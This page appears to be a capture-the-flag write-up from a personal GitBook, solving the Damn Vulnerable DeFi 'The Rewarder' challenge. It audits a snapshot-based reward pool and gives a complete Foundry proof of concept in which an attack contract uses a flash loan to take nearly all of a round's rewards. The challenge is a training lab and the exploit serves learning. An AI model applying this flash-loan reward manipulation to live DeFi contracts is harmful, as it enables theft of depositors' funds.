ctfwriteup
  • βœ…/home/ret2basic.eth
  • Game Hacking
    • πŸ‘‘Pwn Adventure 3: Pwnie Island
      • βœ…Prep: Speed Hack
      • βœ…Prep: Infinite Health and Mana (Offline)
      • βœ…Prep: Analyze Network Packets with Wireshark
      • Prep: Build a Proxy in Python
      • βœ…Until the Cows Come Home
      • Unbearable Revenge
      • Pirate's Treasure
    • Cheat Engine Tutorial
      • βœ…Step 1: Setup
      • βœ…Step 2: Scan for "Exact Value"
      • βœ…Step 3: Scan for "Unknown initial value"
      • βœ…Step 4: Scan for float and double
      • βœ…Step 5: Replace instruction
      • Step 6: Pointer scanning
      • Step 7: Code injection
      • Step 8: Multilevel pointers
      • Step 9: Shared code
  • Web3 CTF
    • πŸ‘‘Remedy CTF 2025 (Todo)
      • Diamond Heist
      • R vs Q
      • Rich Man's Bet
      • Casino Avengers
      • Frozen Voting
      • Lockdown
      • Proof of Thought
      • Maybe it's unnecessary?
      • Et tu, Permit2?
      • Not a very LUCKY TOKEN
      • risc4
      • HealthCheck as a Service
      • Restricted Proxy
      • Unstable Pool
      • Opaze Whisperer
      • "memorable" onlyOwner
      • World of Memecraft
      • Copy/Paste/Deploy
      • Peer-to-peer-to-me
      • Joe's Lending Mirage
      • Tokemak
      • OFAC Executive Order 13337
    • πŸ‘‘Paradigm CTF 2023 (Todo)
      • Oven
      • Dragon Tyrant
    • Damn Vulnerable DeFi
      • βœ…Unstoppable
      • βœ…Naive Receiver
      • βœ…Truster
      • βœ…Side Entrance
      • βœ…The Rewarder
      • βœ…Selfie
      • βœ…Compromised
      • βœ…Puppet
      • βœ…Puppet V2
      • βœ…Free Rider
      • Backdoor
      • Climber
      • Wallet Mining (Todo)
      • Puppet V3 (Todo)
      • ABI Smuggling (Todo)
    • Milotruck Challs
      • βœ…Greyhats Dollar
      • Escrow
      • Simple AMM Vault
      • Voting Vault
      • βœ…Meta Staking
      • βœ…Gnosis Unsafe
    • Secureum AMAZEX DSS Paris
      • βœ…Operation magic redemption
      • Mission Modern WETH: Rescue the Ether
      • LendEx pool hack
      • Operation Rescue POSI Token!
      • Balloon Vault
      • Safe Yield?
      • βœ…Crystal DAO
      • βœ…Liquidatoooor
    • βœ…Ethernaut
      • βœ…Hello Ethernaut
      • βœ…Fallback
      • βœ…Fallout
      • βœ…Coin Flip
      • βœ…Telephone
      • βœ…Token
      • βœ…Delegation
      • βœ…Force
      • βœ…Vault
      • βœ…King
      • βœ…Re-entrancy
      • βœ…Elevator
      • βœ…Privacy
      • βœ…Gatekeeper One
      • βœ…Gatekeeper Two
      • βœ…Naught Coin
      • βœ…Preservation
      • βœ…Recovery
      • βœ…MagicNumber
      • βœ…Alien Codex
      • βœ…Denial
      • βœ…Shop
      • βœ…DEX
      • βœ…DEX Two
      • βœ…Puzzle Wallet
      • Motorbike
      • DoubleEntryPoint
      • βœ…Good Samaritan
      • Gatekeeper Three
      • Switch
    • βœ…Flashbots MEV-Share CTF
    • βœ…Capture the Ether
      • βœ…Lotteries
      • βœ…Math
      • βœ…Miscellaneous
    • βœ…EVM Puzzles
      • βœ…Puzzle 1
      • βœ…Puzzle 2
      • βœ…Puzzle 3
      • βœ…Puzzle 4
      • βœ…Puzzle 5
      • βœ…Puzzle 6
      • βœ…Puzzle 7
      • βœ…Puzzle 8
      • βœ…Puzzle 9
      • βœ…Puzzle 10
    • βœ…More EVM Puzzles
      • βœ…Puzzle 1
      • βœ…Puzzle 2
      • βœ…Puzzle 3
      • βœ…Puzzle 4
      • βœ…Puzzle 5
      • βœ…Puzzle 6
      • βœ…Puzzle 7
      • βœ…Puzzle 8
      • βœ…Puzzle 9
      • βœ…Puzzle 10
    • βœ…QuillCTF
      • βœ…MetaToken
      • βœ…Temporary Variable
      • KeyCraft
      • βœ…Lottery
      • βœ…Private Club
      • Voting Machine
      • βœ…Predictable NFT
      • βœ…Invest Pool
      • PseudoRandom
      • βœ…Gold NFT
      • Slot Puzzle
      • Moloch's Vault
      • βœ…Donate
      • βœ…WETH-11
      • Panda Token
      • Gate
      • βœ…WETH10
      • βœ…Pelusa
      • βœ…True XOR
      • βœ…Collatz Puzzle
      • βœ…D31eg4t3
      • βœ…Safe NFT
      • βœ…VIP Bank
      • βœ…Confidential Hash
      • βœ…Road Closed
    • βœ…unhacked
      • βœ…reaper
  • RareSkills Puzzles
    • Solidity Exercises
    • Solidity Riddles
    • Yul Puzzles
      • βœ…01 - ReturnBool
      • βœ…02 - SimpleRevert
      • βœ…03 - Return42
      • βœ…04 - RevertWithError
      • βœ…05 - RevertWithSelectorPlusArgs
      • 06 - RevertWithPanic
    • Huff Puzzles
    • Uniswap V2 Puzzles
    • Zero Knowledge Puzzles
  • Web2 CTF
    • Grey Cat CTF 2024
      • βœ…Web Challs
    • pwn.college
      • Introduction
        • What is Computer Systems Security?
      • Program Interaction
        • Linux Command Line
        • 🚩embryoio
      • Program Misuse
        • Privilege Escalation
        • Mitigations
        • 🚩babysuid
      • Assembly Refresher
        • x86 Assembly
        • 🚩embryoasm
      • Shellcoding
        • Introduction
        • Common Challenges
        • Data Execution Prevention
        • 🚩babyshell
      • Sandboxing
        • chroot
        • seccomp
        • Escaping seccomp
        • 🚩babyjail
      • Debugging Refresher
        • x86 Assembly
        • 🚩embryogdb
      • Binary Reverse Engineering
        • Functions and Frames
        • Data Access
        • Static Tools
        • Dynamic Tools
        • Real-world Applications
        • 🚩babyrev
      • Memory Errors
        • High-Level Problems
        • Smashing the Stack
        • Causes of Corruption
        • Canary
        • ASLR
        • Causes of Disclosure
        • 🚩babymem
      • Exploitation
        • Introduction
        • Hijacking to Shellcode
        • Side Effects
        • JIT Spray
        • 🚩toddler1
      • Return Oriented Programming
        • Binary Lego
        • Techniques
        • Complications
        • 🚩babyrop
      • Dynamic Allocator Misuse
        • What is the Heap?
        • Dangers of the Heap
        • tcache
        • Chunks and Metadata
        • Metadata Corruption
        • 🚩babyheap
      • Race Conditions
        • Introduction
        • Races in the Filesystem
        • 🚩babyrace
      • Kernel Security
        • Environment Setup
        • Kernel Modules
        • Privilege Escalation
        • 🚩babykernel
      • Advanced Exploitation
        • toddler2
    • pwnable.kr
      • fd
      • collision
      • bof
      • flag
      • passcode
      • random
      • input
      • leg
      • mistake
      • shellshock
      • coin1
      • blackjack
      • lotto
      • cmd1
      • cmd2
      • uaf
      • memcpy
      • asm
      • unlink
      • blukat
      • horcruxes
    • ROP Emporium
      • ret2win
      • split
      • callme
      • write4
      • pivot
    • βœ…Jarvis OJ Pwn Xman Series
    • βœ…Jarvis OJ Crypto RSA Series
    • βœ…picoMini by redpwn
      • Binary Exploitation
      • Reverse Engineering
      • Cryptography
      • Web Exploitation
      • Forensics
    • βœ…picoCTF 2021
      • Reverse Engineering
      • Web Exploitation
      • Forensics
    • βœ…picoCTF 2020 Mini-Competition
  • Red Teaming
    • vulnlab
      • Active Directory Chains
        • βœ…Trusted (Easy)
        • Hybrid (Easy)
        • Lustrous (Medium)
        • Reflection (Medium)
        • Intercept (Hard)
      • Red Team Labs
        • Wutai (Medium)
        • Shinra (Hard)
    • Hack The Box
      • AD
        • Intelligence
        • Pivotapi
        • Sharp
        • Monteverde
        • Resolute
        • Endgame: P.O.O.
        • Forest
        • Sauna
        • Active
        • Blackfield
      • βœ…Linux
        • βœ…Safe (Easy)
        • βœ…Delivery (Easy)
        • βœ…TheNotebook (Medium)
        • βœ…Brainfuck (Insane)
    • TCM Windows Privilege Escalation Course
      • βœ…Hack The Box - Chatterbox (Medium)
      • Hack The Box - SecNotes (Medium)
    • βœ…TCM Linux Privilege Escalation Course
      • βœ…TryHackMe - Simple CTF (Easy)
      • βœ…TryHackMe - Vulnversity (Easy)
      • βœ…TryHackMe - CMesS (Medium)
      • βœ…TryHackMe - UltraTech (Medium)
      • βœ…TryHackMe - LazyAdmin (Easy)
      • βœ…TryHackMe - Anonymous (Medium)
      • βœ…TryHackMe - tomghost (Easy)
      • βœ…TryHackMe - ConvertMyVideo (Medium)
      • βœ…TryHackMe - Brainpan 1 (Hard)
Powered by GitBook
On this page
  • Description
  • TL;DR
  • Code Audit
  • Building PoC
  1. Web3 CTF
  2. Damn Vulnerable DeFi

The Rewarder

PreviousSide EntranceNextSelfie

Last updated 1 year ago

Description

There's a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it.

Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!

You don't have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.

By the way, rumours say a new pool has just launched. Isn’t it offering flash loans of DVT tokens?

TL;DR

distributeRewards() computes reward based on ERC20Snapshot. We can borrow large amount of flashloan and deposit into the contract to trigger the snapshot, then get a huge amount of reward tokens, a lot more than we deserve.

Code Audit

This chall is about ERC20 snapshot. Read this article to learn background knowledge:

Obviously we can manipulate something using flashloan and ERC20Snapshot plays a role in this chall. There are 3 tokens in the system:

  • dvt - liquidity token -> the token of flashloan pool

  • accounting token -> the token for governance

  • reward token -> the token when calling TheRewarderPool.distributeRewards()

In the test file:

        for (uint8 i; i < 4; i++) {
            vm.prank(users[i]);
            theRewarderPool.distributeRewards();
            assertEq(
                theRewarderPool.rewardToken().balanceOf(users[i]),
                25e18 // Each depositor gets 25 reward tokens
            );
        }

The theRewarderPool.distributeRewards() call will trigger _recordSnapshot():

    function _recordSnapshot() private {
        lastSnapshotIdForRewards = accToken.snapshot();
        lastRecordedSnapshotTimestamp = block.timestamp;
        roundNumber++;
    }

The lastRecordedSnapshotTimestamp variable influences the isNewRewardsRound() check:

    function isNewRewardsRound() public view returns (bool) {
        return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
    }

So we have to vm.warp() 5 days forward before calling deposit():

    function deposit(uint256 amountToDeposit) external {
        if (amountToDeposit == 0) revert MustDepositTokens();

        accToken.mint(msg.sender, amountToDeposit);
        distributeRewards();

        if (!liquidityToken.transferFrom(msg.sender, address(this), amountToDeposit)) revert TransferFail();
    }

You can see that if we deposit a lot of dvt (borrowed via flashloan), we get many accounting tokens with 1:1 ratio. Then distributeRewards() is called:

    function distributeRewards() public returns (uint256) {
        uint256 rewards = 0;

        if (isNewRewardsRound()) {
            _recordSnapshot();
        }

        uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
        uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);

        if (amountDeposited > 0 && totalDeposits > 0) {
            rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits;

            if (rewards > 0 && !_hasRetrievedReward(msg.sender)) {
                rewardToken.mint(msg.sender, rewards);
                lastRewardTimestamps[msg.sender] = block.timestamp;
            }
        }

        return rewards;
    }

Since our accounting token balance is high, we get a lot of reward tokens here. After that we can just withdraw everything and pay back the flashloan.

Building PoC

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;

import {Utilities} from "../../utils/Utilities.sol";
import "forge-std/Test.sol";

import {DamnValuableToken} from "../../../src/Contracts/DamnValuableToken.sol";
import {TheRewarderPool} from "../../../src/Contracts/the-rewarder/TheRewarderPool.sol";
import {RewardToken} from "../../../src/Contracts/the-rewarder/RewardToken.sol";
import {AccountingToken} from "../../../src/Contracts/the-rewarder/AccountingToken.sol";
import {FlashLoanerPool} from "../../../src/Contracts/the-rewarder/FlashLoanerPool.sol";

contract TheRewarder is Test {
    uint256 internal constant TOKENS_IN_LENDER_POOL = 1_000_000e18;
    uint256 internal constant USER_DEPOSIT = 100e18;

    Utilities internal utils;
    FlashLoanerPool internal flashLoanerPool;
    TheRewarderPool internal theRewarderPool;
    DamnValuableToken internal dvt;
    address payable[] internal users;
    address payable internal attacker;
    address payable internal alice;
    address payable internal bob;
    address payable internal charlie;
    address payable internal david;

    function setUp() public {
        utils = new Utilities();
        users = utils.createUsers(5);

        alice = users[0];
        bob = users[1];
        charlie = users[2];
        david = users[3];
        attacker = users[4];

        vm.label(alice, "Alice");
        vm.label(bob, "Bob");
        vm.label(charlie, "Charlie");
        vm.label(david, "David");
        vm.label(attacker, "Attacker");

        dvt = new DamnValuableToken();
        vm.label(address(dvt), "DVT");

        flashLoanerPool = new FlashLoanerPool(address(dvt));
        vm.label(address(flashLoanerPool), "Flash Loaner Pool");

        // Set initial token balance of the pool offering flash loans
        dvt.transfer(address(flashLoanerPool), TOKENS_IN_LENDER_POOL);

        theRewarderPool = new TheRewarderPool(address(dvt));

        // Alice, Bob, Charlie and David deposit 100 tokens each
        for (uint8 i; i < 4; i++) {
            dvt.transfer(users[i], USER_DEPOSIT);
            vm.startPrank(users[i]);
            dvt.approve(address(theRewarderPool), USER_DEPOSIT);
            theRewarderPool.deposit(USER_DEPOSIT);
            assertEq(theRewarderPool.accToken().balanceOf(users[i]), USER_DEPOSIT);
            vm.stopPrank();
        }

        assertEq(theRewarderPool.accToken().totalSupply(), USER_DEPOSIT * 4);
        assertEq(theRewarderPool.rewardToken().totalSupply(), 0);

        // Advance time 5 days so that depositors can get rewards
        vm.warp(block.timestamp + 5 days); // 5 days

        for (uint8 i; i < 4; i++) {
            vm.prank(users[i]);
            theRewarderPool.distributeRewards();
            assertEq(
                theRewarderPool.rewardToken().balanceOf(users[i]),
                25e18 // Each depositor gets 25 reward tokens
            );
        }

        assertEq(theRewarderPool.rewardToken().totalSupply(), 100e18);
        assertEq(dvt.balanceOf(attacker), 0); // Attacker starts with zero DVT tokens in balance
        assertEq(theRewarderPool.roundNumber(), 2); // Two rounds should have occurred so far

        console.log(unicode"🧨 Let's see if you can break it... 🧨");
    }

    function testExploit() public {
        /**
         * EXPLOIT START *
         */
        vm.startPrank(attacker);
        vm.warp(block.timestamp + 5 days);
        AttackContract attackContract = new AttackContract(flashLoanerPool, theRewarderPool);
        attackContract.pwn();
        vm.stopPrank();
        /**
         * EXPLOIT END *
         */
        validation();
        console.log(unicode"\nπŸŽ‰ Congratulations, you can go to the next level! πŸŽ‰");
    }

    function validation() internal {
        assertEq(theRewarderPool.roundNumber(), 3); // Only one round should have taken place
        for (uint8 i; i < 4; i++) {
            // Users should get negligible rewards this round
            vm.prank(users[i]);
            theRewarderPool.distributeRewards();
            uint256 rewardPerUser = theRewarderPool.rewardToken().balanceOf(users[i]);
            uint256 delta = rewardPerUser - 25e18;
            assertLt(delta, 1e16);
        }
        // Rewards must have been issued to the attacker account
        assertGt(theRewarderPool.rewardToken().totalSupply(), 100e18);
        uint256 rewardAttacker = theRewarderPool.rewardToken().balanceOf(attacker);

        // The amount of rewards earned should be really close to 100 tokens
        uint256 deltaAttacker = 100e18 - rewardAttacker;
        assertLt(deltaAttacker, 1e17);

        // Attacker finishes with zero DVT tokens in balance
        assertEq(dvt.balanceOf(attacker), 0);
    }
}

contract AttackContract {
    FlashLoanerPool public flashLoanerPool;
    TheRewarderPool public theRewarderPool;
    DamnValuableToken public dvt;
    RewardToken public rewardToken;
    address public owner;

    constructor(FlashLoanerPool _flashLoanerPool, TheRewarderPool _theRewarderPool) {
        flashLoanerPool = _flashLoanerPool;
        theRewarderPool = _theRewarderPool;
        dvt = theRewarderPool.liquidityToken();
        rewardToken = theRewarderPool.rewardToken();
        owner = msg.sender;
    }

    function pwn() external {
        flashLoanerPool.flashLoan(dvt.balanceOf(address(flashLoanerPool)));
        rewardToken.transfer(owner, rewardToken.balanceOf(address(this)));
    }

    function receiveFlashLoan(uint256 amount) external {
        dvt.approve(address(theRewarderPool), type(uint256).max);
        theRewarderPool.deposit(amount);
        theRewarderPool.withdraw(amount);
        // Pay back flashloan
        dvt.transfer(address(flashLoanerPool), amount);
    }
}
βœ…
ERC20 Snapshot solves the problem of double voting.RareSkills
Logo